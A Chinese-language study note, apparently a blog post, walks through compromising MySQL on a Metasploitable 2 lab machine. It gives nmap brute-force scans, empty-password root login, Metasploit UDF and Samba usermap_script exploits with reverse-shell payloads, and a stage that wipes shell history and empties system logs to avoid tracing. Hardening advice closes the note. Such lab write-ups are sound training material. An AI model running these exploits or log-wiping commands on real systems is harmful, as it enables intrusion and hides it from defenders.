3306 端口(MySQL 数据库)渗透测试全流程学习总结

一、3306/MySQL 基础认知

1. 核心基础信息

项⽬ 详细说明
端口号 3306(MySQL 默认通信端口,TCP 协议)
服务特性 关系型数据库服务,广泛应用于 Web 应用、系统后台,存储核心业务 / 用户数据
核心攻击面 弱密码 / 默认密码、远程登录配置不当、版本漏洞(UDF 提权)、配置文件泄露
高危配置 root@%(允许任意 IP 远程登录)、空密码 / 弱密码、以 root 权限运行 MySQL 进程

2. 靶机环境说明(Metasploitable 2)

  • MySQL 版本:5.0.51a-3ubuntu5(老版本,存在 UDF 提权漏洞)
  • 核心漏洞:root 账号空密码 + root@% 远程登录权限
  • 系统环境:Ubuntu 8.04(Linux,与 Windows 载荷不兼容,需注意载荷适配)

二、全闭环渗透测试流程(实战步骤)

阶段 1:信息收集(被动 + 主动)

1. 端口与版本探测

bash

运行

复制代码
# 基础端口扫描
nmap -p 3306 192.168.1.5

# 精准扫描:版本+空密码+弱密码爆破
nmap -sV --script mysql-info,mysql-empty-password,mysql-brute -p 3306 192.168.1.5

核心输出解读

  • MySQL 5.0.51a-3ubuntu5:确认版本(老版本适配 UDF 提权);
  • root account has empty password:发现 root 空密码(核心突破口);
  • guest:<empty> - Valid credentials:辅助验证弱密码问题。
2. 关键信息提取
提取项 靶机结果 风险等级
登录权限 root 允许任意 IP 远程登录 高危
密码状态 root 空密码 高危
运行权限 MySQL 以 root 系统权限运行 高危

阶段 2:漏洞探测与验证

1. 远程登录验证(核心卡点解决)

bash

运行

复制代码
# 初始登录(报错:TLS/SSL版本不兼容)
mysql -u root -h 192.168.1.5 -p

# 修正命令(禁用SSL,适配老版本)
mysql -u root -h 192.168.1.5 -p --skip-ssl

报错原因:MySQL 5.0 不支持新版客户端的 TLS/SSL 协议,需禁用 SSL 才能登录。

2. 权限验证(登录后执行)

sql

复制代码
-- 查看所有数据库
show databases;

-- 查看root用户访问权限
use mysql;
select user, host from user where user='root';

-- 查看MySQL运行权限(系统层面)
-- 需系统shell执行:ps aux | grep mysql

关键结果host列显示% → 允许任意 IP 远程操作,无访问限制。

阶段 3:漏洞利用(核心提权)

方案 1:Metasploit UDF 提权(远程提权,适配问题解决)

bash

运行

复制代码
# 启动msfconsole
msfconsole -q

# 加载UDF提权模块
use exploit/multi/mysql/mysql_udf_payload

# 配置参数(核心:适配Linux载荷)
set RHOSTS 192.168.1.5
set USERNAME root
set PASSWORD ""
set PAYLOAD linux/x86/meterpreter/reverse_tcp  # 关键:禁用默认Windows载荷

# 执行提权
run

卡点说明 :模块默认载荷为windows/meterpreter/reverse_tcp,与 Linux 靶机不兼容,需手动切换为 Linux 载荷。

方案 2:系统 root 权限下本地操作(最优解,绕开适配问题)

bash

运行

复制代码
# 1. 通过Samba漏洞获取系统root shell(已验证可行)
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.1.5
run

# 2. 转换为交互式shell(解决mysql命令无响应问题)
python -c 'import pty; pty.spawn("/bin/bash")'

# 3. 本地登录MySQL(系统root权限下无需密码)
mysql -u root

核心优势:本地登录无 SSL / 网络限制,直接获取 MySQL root 权限,避开远程提权的适配坑。

阶段 4:插旗留证(渗透成果固化)

sql

复制代码
-- 1. 创建专属渗透数据库
CREATE DATABASE HackePts_MySQL_3306_PWNED;

-- 2. 进入目标数据库
USE HackePts_MySQL_3306_PWNED;

-- 3. 创建旗帜表(结构化记录渗透信息)
CREATE TABLE hack_flag (
    id INT PRIMARY KEY AUTO_INCREMENT,
    attack_time DATETIME,    -- 渗透时间
    target_port VARCHAR(10), -- 目标端口
    privilege VARCHAR(30),   -- 获取权限
    exploit_way VARCHAR(50)  -- 利用方式
);

-- 4. 插入渗透记录(永久留证)
INSERT INTO hack_flag (attack_time, target_port, privilege, exploit_way)
VALUES (NOW(), '3306', 'system_root + mysql_root', 'MySQL empty password + local login');

-- 5. 验证插旗结果
SELECT * FROM hack_flag;

验证输出

plaintext

复制代码
+----+---------------------+-------------+--------------------------+------------------------------------+
| id | attack_time         | target_port | privilege                | exploit_way                        |
+----+---------------------+-------------+--------------------------+------------------------------------+
|  1 | 2026-01-12 07:20:31 | 3306        | system_root + mysql_root | MySQL empty password + local login |
+----+---------------------+-------------+--------------------------+------------------------------------+

阶段 5:痕迹清理(实战闭环收尾)

bash

运行

复制代码
# 1. 清除MySQL操作历史
rm -rf /root/.mysql_history

# 2. 清除系统shell历史
history -c
rm -rf /root/.bash_history

# 3. 清空核心日志(避免被溯源)
echo "" > /var/log/auth.log       # 认证日志
echo "" > /var/log/syslog         # 系统日志
echo "" > /var/log/mysql.log 2>/dev/null  # MySQL日志

# 4. 退出shell,断开连接
exit

阶段 6:成果验证(最终确认)

bash

运行

复制代码
# 重新登录MySQL,验证旗帜留存
mysql -u root -e "SELECT * FROM HackePts_MySQL_3306_PWNED.hack_flag;"

核心标准:能查询到完整的渗透记录,说明留证成功;无操作日志 / 历史命令,说明清理到位。

三、核心卡点与解决方案(新手必记)

卡点问题 根本原因 解决方案
远程登录 MySQL 报 TLS/SSL 错误 MySQL 5.0 与新版客户端 SSL 协议不兼容 登录命令加--skip-ssl参数禁用 SSL
Metasploit 反向 shell 执行 mysql 无反应 reverse_netcat载荷为非交互式 shell ① 换reverse_bash载荷;② python -c 'import pty; pty.spawn("/bin/bash")'转交互式 shell
UDF 提权模块连接超时 默认载荷为 Windows 版本,与 Linux 靶机不兼容 手动设置PAYLOAD linux/x86/meterpreter/reverse_tcp
远程 UDF 提权失败 老版本 MySQL 插件目录配置隐藏 放弃远程提权,改用 Samba 获取系统 root 后本地操作 MySQL

四、防御建议(实战落地)

1. 密码与权限控制(核心)

  • 为 MySQL root 账号设置强密码(8 位以上,数字 + 字母 + 特殊符号);
  • 限制 root 登录 IP:GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.%' IDENTIFIED BY '强密码' WITH GRANT OPTION;,禁止root@%
  • 创建低权限业务账号:仅授予业务数据库的增删改查权限,禁止 root 账号用于业务操作。

2. 版本与配置加固

  • 升级 MySQL 至 8.0 + 稳定版本,修复历史 UDF 提权漏洞;
  • 禁用远程登录:仅允许本地 127.0.0.1 登录,业务需远程时通过 VPN / 跳板机;
  • 降低 MySQL 运行权限:创建专用mysql用户,禁止以 root 权限运行mysqld进程。

3. 日志与监控

  • 开启 MySQL 详细审计日志:记录所有登录 / 操作行为;
  • 监控 3306 端口访问:通过防火墙 / IDS 告警异常 IP 的登录尝试;
  • 定期检查用户权限:删除无用账号,回收过度授权的权限。

五、核心知识点复盘

1. 渗透核心逻辑

信息收集:版本+密码+权限

漏洞验证:远程登录(禁用SSL)

漏洞利用:远程UDF提权/系统root本地操作

插旗留证:数据库创建旗帜表

痕迹清理:清除历史+日志

成果验证:查询旗帜记录

复制代码
flowchart TD
    A[信息收集:版本+密码+权限] --> B[漏洞验证:远程登录(禁用SSL)]
    B --> C[漏洞利用:远程UDF提权/系统root本地操作]
    C --> D[插旗留证:数据库创建旗帜表]
    D --> E[痕迹清理:清除历史+日志]
    E --> F[成果验证:查询旗帜记录]
  1. 核心命令速查
用途 命令
MySQL 版本扫描 nmap -sV --script mysql-info -p 3306 目标 IP
空密码验证 nmap --script mysql-empty-password -p 3306 目标 IP
禁用 SSL 登录 mysql -u root -h 目标 IP -p --skip-ssl
转交互式 shell python -c 'import pty; pty.spawn("/bin/bash")'
MySQL 插旗验证 mysql -u root -e "SELECT * FROM 数据库名。表名;"
痕迹清理 history -c && rm -rf /root/.mysql_history /root/.bash_history

核心闭环要点

本次 3306 端口渗透的成功,核心是灵活调整思路 + 解决关键卡点 + 完成全流程闭环

  1. 从 "远程 MySQL 提权" 转向 "系统 root 本地操作",避开模块兼容坑;
  2. 解决交互式 shell、SSL 兼容等基础问题,确保核心命令可执行;
  3. 插旗留证 + 痕迹清理,形成 "攻击 - 留证 - 清理" 的实战闭环,符合渗透测试的核心逻辑。
相关推荐
风送雨2 小时前
FastAPI 学习教程 · 第2部分
学习·fastapi
float_六七2 小时前
数据库三级模式:逻辑与物理的完美架构
数据库·oracle
千寻技术帮2 小时前
10343_基于Springboot的考研信息查询系统
mysql·vue·springboot·考研论坛·考研录取
xj7573065332 小时前
《精通Django》第6章 Django表单
数据库·django·sqlite
Main. 242 小时前
从0到1学习Qt -- Qt3D入门
开发语言·qt·学习
weixin_462446232 小时前
Python+React 专为儿童打造的汉字学习平台:从学前到小学的智能汉字教育解决方案
python·学习·react.js
星火开发设计2 小时前
C++ deque 全面解析与实战指南
java·开发语言·数据结构·c++·学习·知识
哥只是传说中的小白2 小时前
无需验证手机Sora2也能用!视频生成,创建角色APi接入教程,开发小白也能轻松接入
数据库·人工智能
todoitbo2 小时前
书单之华为数据之道:企业数字化转型的实战宝典
数据库·华为·企业数字化转型·书单